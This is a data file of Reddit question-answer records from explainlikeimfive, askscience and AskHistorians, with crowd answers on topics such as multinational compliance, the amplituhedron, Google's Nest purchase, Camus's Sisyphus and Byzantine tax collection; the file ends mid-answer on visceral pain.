{"q_id": "dn4qbe", "title": "how are multinational corporations/organizations run properly and efficiently when each nation may have different laws or economic systems?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dn4qbe/eli5_how_are_multinational/", "answers": {"a_id": ["f57qr8s", "f57rlul", "f57wj5x"], "score": [3, 6, 2], "text": ["They often hire local outside counsel, attorneys from the other jurisdictions, to provide the necessary legal advice.", "The local subsidiaries operate according to the laws of the country they are in. Head office will have experts in the various aspects of their operations worldwide so they can comply with things like export regulations and technology exchange laws.\n\nAlso they can often organise their finances so they generate the profits in territories with low tax, for instance by charging one part of the company for services provided by another.", "Most multinationals have a global Legal, Regulatory, and Compliance support function whose job is doing just this. They also get communiques directly from the Federal Reserve, PRA, FSA, APRA, etc, on new regulations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "33ezb2", "title": "why i can leave a pot with stew cooking for half a day and the pot will be unharmed, but if i leave a pot on the stovetop for 5 minutes without anything in it, the pot will be ruined.", "selftext": "I've been cooking for all my adult life plus some, and I know that's one of the rules, but I never understood why.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33ezb2/eli5why_i_can_leave_a_pot_with_stew_cooking_for/", "answers": {"a_id": ["cqk8qmm", "cqk8x5m", "cqk9k69", "cqka6va"], "score": [11, 2, 3, 2], "text": ["The heat is mostly transferred to the content of the pot rather than the pot itself. When I was in school my science teacher did an experiment where he wrapped a piece of cloth around a metal rod and put it in flame, the cloth is entirely undamaged. He then took the cloth off and put it in flame, the cloth caught on fire and burned away. ", "I'm not an expert but it has to do with the food or water or whatever attracting heat more than the metal, so if you put a pot on the stove with something in it most of the heat will go to the contents of the pot, but if you put an empty pot on the stove all of the heat will go into the pot and ruin it.", "As long as there is water in the pot, it wont go past 100C. As adding more energy only make more water boil, and the evaporation cools down the pot.\n\nBut leaving it with nothing in it, the temperature can increase far past 100.", "Another little experiment you can do is with a styrofoam cup full of water or a bottle of water and a lighter... You can hold the flame under it for a ridiculous about of time before the vessel springs a hole."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1mmix1", "title": "what is an amplituhedron?", "selftext": "Heard about it [here](_URL_0_). Please, quantum physicists of reddit, ELI5.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mmix1/eli5_what_is_an_amplituhedron/", "answers": {"a_id": ["ccamn0g", "ccarz5k", "ccbdnfr"], "score": [5, 2, 7], "text": ["in addition to that link, I found:\n\na very technical talk\n_URL_2_\n\nPDF slides from his student\n_URL_1_\n\nhere is a paper on the geometry aspects of the discovery\n_URL_0_\n\nand there is mention of an upcoming paper on the physics and the amplitude predictions by Nima Arkani-Hamed, but nothing I could find on arXiv\n\nI am also interested to understand this better.\n\n", "Sounds like a high dimensional geometrical object that has properties that make calculations easier.  For example, in matrix algebra, there are some ways to calculate properties such as moment of inertia, etc. by using matrix algebra to find the area or volume of an object represented by a matrix.  \n\nIt doesn't seem like much of a leap to apply the same technique to different things.  However, the magnitude of what they have done is on an entirely different level of complexity.  Pretty ingenious. ", "There was a thread [here](_URL_1_) that got some semi-decent answers, OP, if you're still looking.\n\nedit: gonna try to explain it, things seemed to be at too high a level still.\n\nThe math that it's trying to simplify is the math that we use to solve Feynman diagrams, which model particle interactions at a really low level. The simplest kind looks like [this](_URL_3_), where each line or squiggle is a particle that's taking part in the interaction.\n\nThere's a few particles that \"enter\" the interaction, and there's a few that leave. You can tell by the arrows: there's two \"e^(-)\" (electrons) that come in, and two electrons that come out. Those are the \"external\" particles, the ones we'd actually measure in a real experiment. In this case, then, the diagram is representing two electrons repelling each other. They come in, push on each other, and then leave.\n\nThe stuff in the middle that links the external particles are the \"internal\" particles. In this case, it's just a photon. The internal particles are a little funky to explain, but suffice to say that we treat them like they're \"almost real\" when we do the math. If you've ever heard the term \"virtual particle,\" that's what the internal particles are. We can't measure them, but it's fairly well established that this is what's going on.\n\nThe main thing to know about the internal particles is that they're what's \"carrying\" the force from one electron to the other. That's how we explain the fact that electrons can repel each other, seemingly just by spooky magic. On a very simplistic level, they're shooting photons at each other, which makes them repel.\n\nThe trick of the math is that momentum has to be conserved at all the \"vertices\" (plural of \"vertex\") where the particles meet up. So, at the intersection between electron, electron, and photon, the momentum has to balance out. If you have an electron \"coming in,\" and an electron and photon \"going out,\" the photon and second electron's combined momentum has to equal the momentum of the first electron.\n\nSo, when we do the math, we end up carrying around all these momenta for each particle (line) in the diagram. For that one, it's fine, but the problem is that there are \"corrections\" to pretty much any Feynman diagram you can come up with. There's nothing stopping me from writing the same interaction from above as [this](_URL_0_), for example.\n\nInstead of just a photon between the electrons, I now have an \"electron-positron pair,\" which is an electron and its antiparticle. The photon shoots out, turns into an electron and positron, which annihilate (antimatter + matter) back into a photon, which then hits the other electron. Since this is perfectly possible under the laws of physics, I have to take into account the possibility that when my two electrons interacted, *this* is what happened.\n\nSo, okay, I do my calculations for that diagram, and factor in the likelihood of the interaction happening in my \"corrected\" way. The math is much harder, because instead of working with five momentum terms, I now have eight (eight particles, eight momenta to consider), but it's doable.\n\nThen, some asshole comes up and draws [these](_URL_2_) on the board (hard to see, I know, sorry). Apparently, I have a lot more corrections to consider and calculate. I could do it, but there are even more than those that I then have to consider, and I'll end up spending years trying to solve them all. This is the point where we bring in a computer, because it's pretty much just a menial task at this point. Come up with a diagram, solve the equation, factor it in, repeat hundreds of times.\n\nSo, the amplituhedron stuff. The big problem with the Feynman diagrams is that we keep ending up with more and more internal particles. We're only talking about two electrons interacting, but we end up with all these different possible ways that the internal mechanism of their interaction can occur. Complicating things tremendously is that the internal particles can go \"off-shell,\" meaning that they don't necessarily have to follow the same rules as \"real\" external particles. Things like momentum and energy are conserved throughout the entire interaction, but the internal particles can and do play a little fast and loose.\n\nThe amplituhedron model uses a method that, to be brutally honest, I do not fully understand. As far as I can tell, what they've done is take momentum and re-express it in terms of something called \"helicity.\" This allows you to build diagrams similar to the Feynman ones, only you're using helicity instead of momentum.\n\nThrough some kind of math ninjutsu, formulating things in terms of helicity allows you to exploit a symmetry that forces everything \"on-shell.\" The hard part about the Feynman diagrams was that there were all those \"off-shell\" internal particles that fucked everything up and made the math really hard. With particles that are fully on shell, though, we can exploit basic conservation laws to simplify the math a lot. Basically, we don't have to take into account the possibility that the momentum going in is not the same as the momentum going out, so we get a concrete answer much more quickly.\n\nYou still have to take into account the possibility that there are multiple \"routes\" for an interaction to occur, but the constraint that everything must stay on-shell drastically simplifies how many routes have to be considered.\n\nWhat does this mean in terms of physics? It means that the math might get easier. This is a very abstract and out-there mathematical construct that doesn't necessarily imply any sort of underlying physics. There are lots of cases where we use some funky kind of math, but it's silly to assume (as the author of the article does) that it somehow means that we have to abandon the notion of space and time just because someone's found a way to do the math that skirts around it. That is for page views, nobody cares about \"physicists find really confusing way to maybe make their lives easier.\"\n\nedit: just to be clear, I am not at the level of theoretical physics knowledge where I can follow this paper. I'm gleaning what I can feel confident about explaining from it."]}, "title_urls": [], "selftext_urls": ["https://www.simonsfoundation.org/quanta/20130917-a-jewel-at-the-heart-of-quantum-physics/"], "answers_urls": [["http://arxiv.org/pdf/1212.5605v1.pdf", "http://www.staff.science.uu.nl/~tonge105/igst13/Trnka.pdf", "http://susy2013.ictp.it/video/05_Friday/2013_08_30_Arkani-Hamed_4-3.html"], [], ["http://www.stevepur.com/physics/matter/matter40.gif", "http://www.reddit.com/r/explainlikeimfive/comments/1moeeu/eli5_the_significance_of_the_discovery_of_the/", "http://img.tfd.com/mgh/cep/thumb/Feynman-diagrams-for-electron-electron-Mxf8ller-scattering-a.jpg", "https://news.slac.stanford.edu/sites/default/files/imagecache/Img350_Scale/images/image/electron-scattering-for-st.jpg"]]}
{"q_id": "1v6efh", "title": "what is nest and why did google buy it?", "selftext": "Google just bought Nest for 3.2 billion bucks. Why? What is Nest and this \"home automation\" thing?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1v6efh/eli5_what_is_nest_and_why_did_google_buy_it/", "answers": {"a_id": ["cep5e1z", "cep5hw3", "cep7t46", "cep8cyf", "cep926g", "cep9lke", "cepa79u"], "score": [43, 19, 10, 2, 3, 2, 4], "text": ["It is a company that makes a high end smart thermostat and also a smoke detector. \n\n\n\nGoogle", "[NEST](_URL_0_) started by making smart thermostats.  They self program after a few sets.  They have motion sensors.  You can set them with an app from your phone or pad or laptop.  They are sleek and simple, cost about $250 installed and can save a bunch on heating/cooling costs.  [Thermostat promo video](_URL_2_)\n\nThey also just did a redesign on the smoke alarm.  \"You don't have to swing a towel at it.\"  It knows what room it's in.  It senses smoke, heat, Carbon Monoxide and motion.   It talks and texts before it sets off an alarm.  Oh, and it's a nightlight when you walk by at night.  [Smoke Alarm promo video](_URL_1_)\n\nI'm just a fan of this stuff.", "Nest Labs makes energy-saving thermostats. It is aesthetically pleasing, smart and connected (it has WiFi and can be controlled from your phone). Recently, it has started developing connected Smoke sensors. \n\nGoogle is now inside your computer, phone, car and now it wants your home. All these smart devices will send back data about your home, usage habits, etc.. in short valuable data. And that's why Google bought it.", "Most people don't realize how much of the Nest's functionality really can be replicated with a normal modern electronic thermostat...", "People will give their theories on why they would buy Nest and they could be right.  I'm sure Google has a specific reason, but I want to offer another.  Google is very smart.  They have been buying companies of real value for a long time now.  If Bing all the sudden became the new hot search engine (LOL), Google would still be HUGE because they aren't relying on any one type of service or product anymore.  They have so much diversification in their portfolio that they will be a prominent company for a long time no matter what.  IMO every hot internet company (cough Facebook) should be doing the same thing.  ", "I don't see why this company is worth 3 times what they paid for YouTube. I think we are all missing the real reason they bought it. It's sure not for just connected thermostats and smoke detectors.", "Here's is Ars Technica's review of their flagship product from August 2012: _URL_0_\n\nIt seems to be a nice product and I'm sure they have some extremely juicy patents and some pretty bright people as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://nest.com", "https://www.youtube.com/watch?v=QXp-LYBXwfo", "https://www.youtube.com/watch?v=L8TkhHgkBsg"], [], [], [], [], ["http://arstechnica.com/gadgets/2012/08/a-thermostat-that-learns-three-months-with-the-nest/"]]}
{"q_id": "2ivhja", "title": "how does snapchat not get in trouble for hosting child porn on their servers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ivhja/eli5how_does_snapchat_not_get_in_trouble_for/", "answers": {"a_id": ["cl5uvkz"], "score": [17], "text": ["There's a law that exempts companies that allow users to upload content from being liable for the content they host that is uploaded by users. So if someone sends a snapchat containing illegal images, Snapchat isn't liable for hosting the image since they don't check individual images. If they discovered something illegal, they would probably be required to remove and/or report it though. \n\nThis is the same for Youtube, for example. You can upload child porn to Youtube, but it will likely get removed when it's discovered and you'll get arrested. However, you can't call the cops before it's discovered and get Youtube in trouble for hosting it because Youtube had no idea they were hosting it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1seqd3", "title": "Which model of evolution is more accepted by the scientific community: gradualism or punctuated equilibrium?", "selftext": "[Here is a diagram of both models.](_URL_0_)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1seqd3/which_model_of_evolution_is_more_accepted_by_the/", "answers": {"a_id": ["cdwyutv", "cdx0wdc", "cdx2sn8", "cdx5aww"], "score": [83, 17, 7, 3], "text": ["Both are extremes; the reality in most cases lies between them.\n\nIn general, an population of organisms will fairly quickly (in geological timescales) reach a point where it is as adapted to its environment as it can be, and it will settle into a niche.  At that point, large scale changes aren't likely to happen, but there will still be mutations popping up in the genepool, creating variation.  If any particular mutation isn't particularly malign, it'll stay in the gene pool for a while and might end up being useful if the environment changes again.\n\nIt is also important to note that when dealing with fossil organisms, we only have very incomplete information about them.  A fossil organism that appears to remain unchanged over the course of a million years would still be undergoing genetic changes at that time; it is just that all the genetic changes that don't directly show up in the fossil won't be recordable.  That tends to make fossil population appear more \"punctuated\" than they really would be.", "I thought both were accepted...\n\nTake a look at the [Escherichia coli long-term evolution experiment](_URL_0_). E-coli were shown to have adapted for cell size gradually, and 1 strain evolved the ability to use citrate to perform aerobic respiration.", "Why is it an either or scenario? Mutations always happen as cells and organisms grow and divide. However, environmental selective pressures are always changing. If the selective pressure were always the same then you would expect that most populations would look pretty homogeneous and this is only true for extremely isolated populations (eg. Darwin's finches). As to how it relates to your question: punctuated equilibrium is largely an effect of a strong selective pressure that is sustained over a long period of time -- enough for speciation. That certainly happens, but is not accepted as the general overarching mechanism.", "Uh, neither:\n\nSpecies continue to evolve over time, there are periods of \"stasis\", but there's always a continual gradual change when you're talking geological time scales.\n\nDividing life up into species is problematic in any case, as all species are constantly evolving and moving away from their original forms. Some are fixed for short periods is relative \"stasis\" but the second environmental changes occur (either climate changes, or changes in predators, or competitors) the species will move out of that \"stasis\" and continue the process of change.\n\nThere aren't well defined borders and boundaries such as in punctuated equilibrium, but there also isn't absolute continuation such as in gradualism."]}, "title_urls": [], "selftext_urls": ["http://www.geo.arizona.edu/geo3xx/geo308/FoldersOnServer/2003/MicroEvoLectureNotes2003_files/image006.jpg"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Escherichia_coli_long-term_evolution_experiment"], [], []]}
{"q_id": "33gtsu", "title": "the nosleep subreddit", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33gtsu/eli5_the_nosleep_subreddit/", "answers": {"a_id": ["cqkqcv0", "cqkqw9k"], "score": [4, 2], "text": ["By now it is pretty much fiction, but the reader is supposed to go in with attitude that everything is real and the writers are only supposed to write stuff that sounds moderately real and plausible. This tacit agreement gives it the creepy vibe without going off to one extreme (dull stories) or the other (obviously made up nonsense).", "You're allowed to post true stories or fictional stories, but since supernatural and terrifying events are unlikely to happen in real life, the sub ends up being mostly fake stories. However, everyone is supposed to assume every story posted on there is real -- playing along adds to the fun and makes it a lot creepier. \n\nThat, plus the fact that some people will go far out of the way to make their stories sound realistic, means that you're never *quite* sure whether something is fiction or not. Check out some of the top stories -- people have responded to comments, uploaded photos, and added other proof to make their story seem plausible. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "aswfpp", "title": "why is sisyphus happy with his punishment?", "selftext": "According to Albert Camus", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aswfpp/eli5_why_is_sisyphus_happy_with_his_punishment/", "answers": {"a_id": ["egx5yoj", "egxatvu", "egxbft5", "egxbipn"], "score": [3, 4, 8, 7], "text": ["The idea is that by continuing his task, he's demonstrating to the gods that they haven't broken him.   \nIf he was defeated, he would stop.    \nHe hasn't stopped, so they haven't won.  \n  \nOn a side note, that interpretation is a very modern take and isn't really in the ancient myth.  \nAlso, for more information about what lead to his punishment, here's a [very entertaining video](_URL_0_) about it.", "In addition to the top comment, Camus also says that Sisyphus is content because he has purpose. Without purpose, or knowing who you are, you are lost. This is basically what existentialism is all about.", "It isn't that he *is* happy with his punishment, but that *we must imagine* him happy with his punishment; it's a metaphor suggesting that in order to be at peace with the absurdity of a meaningless universe we must embrace it's futility and find satisfaction in it's banality. ", "My interpretation was always that Sisyphus\u2019s punishment gave him the right outlook for making the only true choice to be authentically happy. \n\nFor Camus life is meaningless and arbitrary. Realizing this is called confronting the absurd. People have several options when faced with the absurd, despair, suicide, revel in the absurd or cling on to artificial systems of meaning such as religion, patriotism, or rigid moral systems. The problem with the last one is that there is a deep angst because people tend to notice that what they have placed as the center of their lives does not actually fulfill all its promises. People will respond by switching systems or doubling down to blind dogmatism. And spend their whole lives searching for something Camus doesn\u2019t believe exists.\n\nSisyphus is 100% free from this angst however. He knows with divinely revealed certainty that his labors are futile. He knows that all his suffering is just the whims of capricious gods. But this means that he needn\u2019t worry about if he is fulfilling his goals or living up to another\u2019s standard. He and all he does are pointless. This frees him to honestly choose to revel or despair in his absurd situation. Sisyphus finds happiness in realizing he has found this freedom even when the very gods tried to take all freedom away from him."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=ZsaFUEq5UEo"], [], [], []]}
{"q_id": "4dikhe", "title": "How Much Of Africa Did The Vikings Explore.", "selftext": "I'm curious to learn more about vikings exploring Africa. I know they explored North Africa, are there any credible sources that provide more information and is there any evidence that they might have visited South Africa?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4dikhe/how_much_of_africa_did_the_vikings_explore/", "answers": {"a_id": ["d1rx6k0", "d1s1giy"], "score": [2, 8], "text": ["Piggybacking on this comment, a Scottish friend stated that the Norse helped transport Scotts to fight in Africa, is there any truth to this?", "Regarding the South African part of your question, Europeans generally didn't explore the West African coast south of Cape Bojador (just south of the canary islands) until a Portuguese expedition under Gil Eanes passed the cape in 1434, with Portuguese sailors reached today's South Africa around 50 years later. The introduction of the caravel, a ship that could sail close to the wind, was important in this.\n\nAngus Maddison says \"In west Africa, Roman ships did not venture beyond Cape Bojador (just south of the Canary Islands), because the prevailing winds made a return journey impossible.\" (Maddison 2007, p. 187)\n\nThere's no evidence the Norse were any different in this respect.\n\nHowever according to Herodotus (The Histories 4.42), a Phoenician expedition had circumnavigated Africa anticlockwise from the Red sea, and the Carthaginian navigator Hanno the Navigator is reported to have sailed down the West African coast past Cape Bojador according to a few sources, and even to have completed a circumnavigation himself, according to Pliny's Natural History. The accuracy of these sources is contested, especially the circumnavigation accounts. So the barriers to the Norse in exploring Africa may not have been technological.\n \n## **References**\n\nHerodotus. 'Histories'\n\nMaddison, Angus (2007). Contours of the World Economy 1-2030 AD. OUP\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2xs0n5", "title": "why rockstar never use real name places in gta?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2xs0n5/eli5why_rockstar_never_use_real_name_places_in_gta/", "answers": {"a_id": ["cp2tws9", "cp2u5n1", "cp2wtmz", "cp3050v", "cp338tt"], "score": [37, 15, 24, 3, 5], "text": ["I think it's simply because it will give a bad name to that city. Since GTA is about killing, stealing, drugs, etc. \n\nLA Noire made by Rockstar uses real city names. ", "i think not using real names allows them to label the games as satire, and avoid lawsuits from municipalities or celebrities they are making exaggerated versions of.", "I can think of two reasons:\n\n1. The GTA games are meant as humorous satire, and it's quite common to use fake names in that genre. \n\n2. The cities in GTA are very similar to the real thing, but not quite the same. If they used the cities' real names, you'd expect the street layouts and scales to be similar as well.", "Because a game that tries to mimic a real life city never really does it the right way.\n\nLook at Infamous Second Son. It's supposed to take place in Real World Seattle. The map has locations based on real parts of town, but it doesn't make any actual sense if you live in/around Seattle.", "There's another factor at play here.\n\nThe original Grand Theft Auto had 3 stages, Liberty City (New York), San Andreas (San Franscisco), and Vice City (Miami), and thus since then, they have kept the names."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5jfc38", "title": "I'm a farmer in mid 10th century Byzantium and a man comes to collect my taxes, how do I know I'm giving my taxes to the right man? If i give my taxes to the wrong man, am I obligated to pay them again?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5jfc38/im_a_farmer_in_mid_10th_century_byzantium_and_a/", "answers": {"a_id": ["dbg3fge", "dbg3o2h"], "score": [1381, 35], "text": ["Distribution of land ownership and use in the rural Byzantine Empire was definitely not even. By the eleventh century, there are some very powerful large-scale landholders (including monasteries, although at least in urban areas, sometimes even a monastery was controlled by an aristocrat), a few small landowners hanging in there, and then most of the population would have been *paroikoi* or dependent peasants: tenant farmers. \n\nFor the powerful landowners, including monasteries, tax collection was mostly a game of tax *evasion*. Tax collectors remained a popular bogeyman of Byzantine literature and art as they had been in Roman times, and this hostility was mirrored by practice. Owners might work to avoid periodic visits by imperial tax assessors to revaluate their land at a higher tax amount, pay their taxes using a debased currency, or send someone chasing after a tax collector to steal back the money. (Anna Komnene tells a similar story in her *Alexiad.*)\n\nMost Byzantine people, however, were peasants who were responsible for paying their taxes (a) collectively and (b) often indirectly. The tenant farmers paid most of their tax burden to the owner of their land. In a case like that, they would presumably be fairly familiar with the people involved. Otherwise, taxes were levied collectively on a village. This had the advantage, for the peasants, of helping out if one family had a rough year. It had the disadvantage of--one of the reasons for this system--that local land abandoned or unfarmed was still part of the total levy for an area. So people had to cover for each other. But tax evasion was at least sometimes practiced by peasants--or at least, financial documents complain about peasants who simply *disappear* when they know a tax collector is in the area!\n\nAs for identifying the tax collectors themselves: at least some tax officials, most prominently the *kommerkiarioi* (who, as their name indicates, were involved with regulating commerce), had official imperial seals. [This Google Books preview](_URL_0_) shows a couple of them, although they are both ninth century. Seals were pretty serious business in medieval Europe. The collective payment and indirect payment methods certainly suggest that at least some of the people involved would have been able to recognize the seal for what it was (medieval peasants are, as a rule, stereotyped in contemporary sources as stupid, but at least from later legal sources we can see a good deal of ability to negotiate successfully the demands of a more literate and educated \"elite\" culture).", "I can help with a couple components of your question, but not all, I'm afraid. Do you mean a farmer working on an estate or the man who owned it?\n\nThis is a PDF extract from [*The Economic History of Byzantium: From the Seventh through the Fifteenth Century*](_URL_0_). You'll want to look around pages 991-993, under *Administrative Structures*, but here are the basics:\n\n- Administration was concentrated in Constantinople, with an extensive hierarchy. Provincial offices were replete with scores of officials whose names varied by their duties. Messengers called *mandatores* would have communicated between offices and estate owners, so everyone knew the rate, and when and whom they could expect to come collect. Additionally, state-owned estates would have managers to ensure things ran smoothly.\n\n- **Each office would bear its own seal.** For the seals, themselves, this text references *Le corpus des sceaux de l'empire byzantin*. You don't need to read French to understand the basic designations of office, nor view the seals, themselves. They do come with handy little notes, though. If an \"official\" did not bear the recognized seal, they would probably be sent back empty-handed. The source I provided gives us no recourse on the matter of being cheated. From its perspective, the bureaucracy appears thick enough to resist thievery and impersonation on a large scale.\n\n- Also, local tax positions could be bought for small fortunes (**could be**, not ubiquitously) and salaries were paid out of taxes collected. In the provinces these positions were coveted. It was a good enough deal for both official and government; they were mutually invested in ensuring collection.\n\n\nThere's a heck of a lot more, and fortunately the writing isn't as dry as it could be, so give it a read and see if it helps!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=86Of2XxW2NMC&amp;pg=PA40&amp;lpg=PA40&amp;dq=tax+collector&amp;source=bl&amp;ots=QrkuiQ01ca&amp;sig=zyIlQMc72Xz_EP0bBx8c4pRfV40&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwiZ3bmDioTRAhVJ5GMKHf9aCMgQ6AEINDAE#v=snippet&amp;q=collector&amp;f=false"], ["http://www.doaks.org/resources/publications/doaks-online-publications/economic-history-of-byzantium/ehb44-state-and-the-economy"]]}
{"q_id": "1xiaw8", "title": "why can't i install mac os x on a non-apple computer?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xiaw8/eli5_why_cant_i_install_mac_os_x_on_a_nonapple/", "answers": {"a_id": ["cfbl7yy"], "score": [3], "text": ["Because Apple doesn't want you to.\n\nWhen you try to install it OS X will look for a chip which only exists on Mac boards, if it isn't there it won't install. Circumventing this violates the User Agreement for OS X.\n\nIf you ignore the legal issues, you can make OS X install, but it probably won't run well. OS X drivers only exist for things you'll normally find in a Mac, which means a lot of common sound/video/networking/etc chips aren't usable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5q8gdk", "title": "the case for undocumented students", "selftext": "not trying to offend anyone and not gunning for anything political here, honest. just a little confused as to why some universities are willing to aid undocumented students in staying at school? isn't that illegal? how does the government not find and deport these students once they are registered at a university?\n\nadditionally, why recently has there been a string of people (particularly students) publicly \"coming out\" as undocumented in published op-eds, social media, etc.? doesn't this endanger these people and their families? \n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5q8gdk/eli5_the_case_for_undocumented_students/", "answers": {"a_id": ["dcx9ehj", "dcx9pfs", "dcxciov", "dcxjc6h", "dd3po2h"], "score": [7, 11, 5, 2, 2], "text": ["I have no official insight, but rather personal interpretation. My parents were both teachers and I think that it's important to note universities are meant to be an equalizer. Many in the education system feel that it's not a matter of who you are or where you come from, but that you want to better yourself and those around you through learning. If this is the case you should have the opportunity.\n\nThat said you'll see in the first paragraph under the image of this page (_URL_0_) that University of California requires undocumented students be AB 540-eligible to receive financial aid. This condition essentially means that the student was moved as a minor (I interpret this as parents moved the family and kid didn't have a say) and has been in state for an extended period of time. California is essentially saying \"it's not your fault, we'll consider you a resident of the state\".  *note this only makes them eligible... it does not guarantee them funding of any sort\n\nif AB 540 is not met, or in situations like Notre Dame, Yale, etc... the students are able to attend by paying tuition like everyone else.\n\nOverall the rose-colored version of it is a semi-uniform stance by a selection of universities who has determined that kids who have been relocated without consent should not hit a ceiling after high school graduation, provided their performance meets the collegiate entry requirements.", "Not taking a stance on this, just explaining as best as I know. Typically, the story with undocumented college students goes like this:\n\nOne or both parents brought them across the border when they were two years old, and they've been living in the US ever since. They didn't really have a say in the matter of their immigration status, having been two at the time. (And that's really the crux of the argument - should people be punished for actions their parents took when they were still in diapers?)\n\nNow they're 18, graduating high school, and a lot of the typical things available to college-going students aren't necessarily available to them. Can't prove residency, so in-state tuition is out. Can't file a FAFSA, so financial aid is out.\n\nIs there a danger of deportation if they \"come out\" as undocumented? Yes. Is the government actively looking to deport them? Maybe, maybe not. \n\n", "I'll try to answer your questions as best I can here. \n\n1. Universities are willing to provide \"aid\" to undocumented students because that's what they are, institutions of higher education. They see the value in a diverse student population. Most of the western states provide instate tuition to undocumented students in they attended high school in the state also, now this does not mean that they receive financial aid, that has to be through a private scholarship or they have to pay everything themselves. So at the end it all comes down to merit, and who wants it more. \n\n2. Is it illegal ? No, and a lot of this comes down to state rights. Universities are schools and not ICE. If there was a law requiring them to turn over students than it would be illegal, yes. \n\n3. People are coming out for the exact reason that you are posting this, to let people know they exist and are not just a talking point for the left or right. To get people talking about it, it's easy to have an opinion on this subject without knowing who is actually affected by this but in fact these undocumented immigrants could be your friend, your neighbor or your co-worker and you would never know unless they spoke out about it. \n\nTo clarify, I am an undocumented immigrant. Was brought here was I was 7. ", "Someone who is undocumented and in college is likely to be the first person in the family to go college. So letting them actually attend school can hopefully go towards one family moving into the middle or upper class since education levels strongly correlates with future income. \n\nSomeone with that education and income will likely be someone who contributes to society in many ways and won't need nearly as many services as someone with less education and prospects living in america. \n\nAnd since they came here as children it seems wrong to many to punish them for the actions of their parents. \n\nThe advantage of \"coming out\" serves to put a face to the phenomenon of 'illegal immigrants'. Maybe your perspective on a heavy handed immigration policy would change if you know that it would effect people actually trying to better themselves through education rather than the stereotypical image of someone dashing across the border in order to \"steal\" someone's job. \n\n", "Thanks for all the replies, this issue is something I've been confused about for awhile so this helps me understand a lot better. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://undoc.universityofcalifornia.edu/applying-to-uc.html"], [], [], [], []]}
{"q_id": "4ynzcl", "title": "Why (and how/when) did the Church of England come to reject Calvinism in favour of Arminianism?", "selftext": "Since, as I understand it, Calvinists were influential from fairly early on in the English Reformation, under Edward VI, and of course, very influential in Scotland (so one would assume James I/VI was educated in a Calvinist view of Protestantism).", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ynzcl/why_and_howwhen_did_the_church_of_england_come_to/", "answers": {"a_id": ["d6p9r3f"], "score": [6], "text": ["I think this question is flawed because it's not the case that the Church of England ever embraced arminianism en masse. Some parts of it have been calvinist in orientation since the Reformation. While the CofE didn't embrace the kind of calvinism that dominated scotland, it never embraced arminianism per se either."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3huam3", "title": "what is south korea broadcasting on the loudspeakers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3huam3/eli5_what_is_south_korea_broadcasting_on_the/", "answers": {"a_id": ["cuamyaf"], "score": [8], "text": ["According to this article i was reading, the broadcasts \n > focus on the superiority of life in South Korea as well as South Korean soap operas\n\n & nbsp;\n\nBasically they spew how awesome electricity, fresh food and the internet is. And then they annoy the shit out of North Korean soldiers with their soaps.\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nbcnews.com/news/north-korea/north-korea-puts-army-quasi-state-war-sets-loudspeaker-deadline-n413636"]]}
{"q_id": "1irrwf", "title": "Why is there apparently few sensory nerves in internal organs, but stomach pains, nausea, and cramps can be so uncomfortable/painful?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1irrwf/why_is_there_apparently_few_sensory_nerves_in/", "answers": {"a_id": ["cb7fddj", "cb7fdny", "cb7l1j2", "cb7muqs"], "score": [13, 94, 15, 2], "text": ["There is a phenomenon called 'referred pain', where pain from an internal organ such as the gall bladder is 'felt' at the shoulder. The mechanisms are varied and not entirely decided upon [(summarized here)](_URL_0_), but a likely explanation is there is hyper excitability. Referred pain could be a defense mechanism of our bodies to tell us something is wrong when something is not right in our viscera, which indeed do not detect pain very acutely.\n\nIn the case of appendicitis, referred pain can quickly become somatic and acute if the inflamed appendix contacts the body wall for a time. ", "From my memory of gross anatomy... [Visceral pain](_URL_0_) certainly exists. Visceral pain is more diffuse and difficult to localize, but it can still be extremely painful and debilitating. It is sensitive to to things like stretching/pulling, cramping, and ischemia (reduced blood flow). Where the organs themselves don't have sensory innervation, their lining can. This is the case of the pleural lining of the lungs, for example. \n\nFurthermore, visceral pain can be referred to a somatic structure innervated at the same spinal cord level (hence the term [referred pain](_URL_1_). The pain signals basically get 